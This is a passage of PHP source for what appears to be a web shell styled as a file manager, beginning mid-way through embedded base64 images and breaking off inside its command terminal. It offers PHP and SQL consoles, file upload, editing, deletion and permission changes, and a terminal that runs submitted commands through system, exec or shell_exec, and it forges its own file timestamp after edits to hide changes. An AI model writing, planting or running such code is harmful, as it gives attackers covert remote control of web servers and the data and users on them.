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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

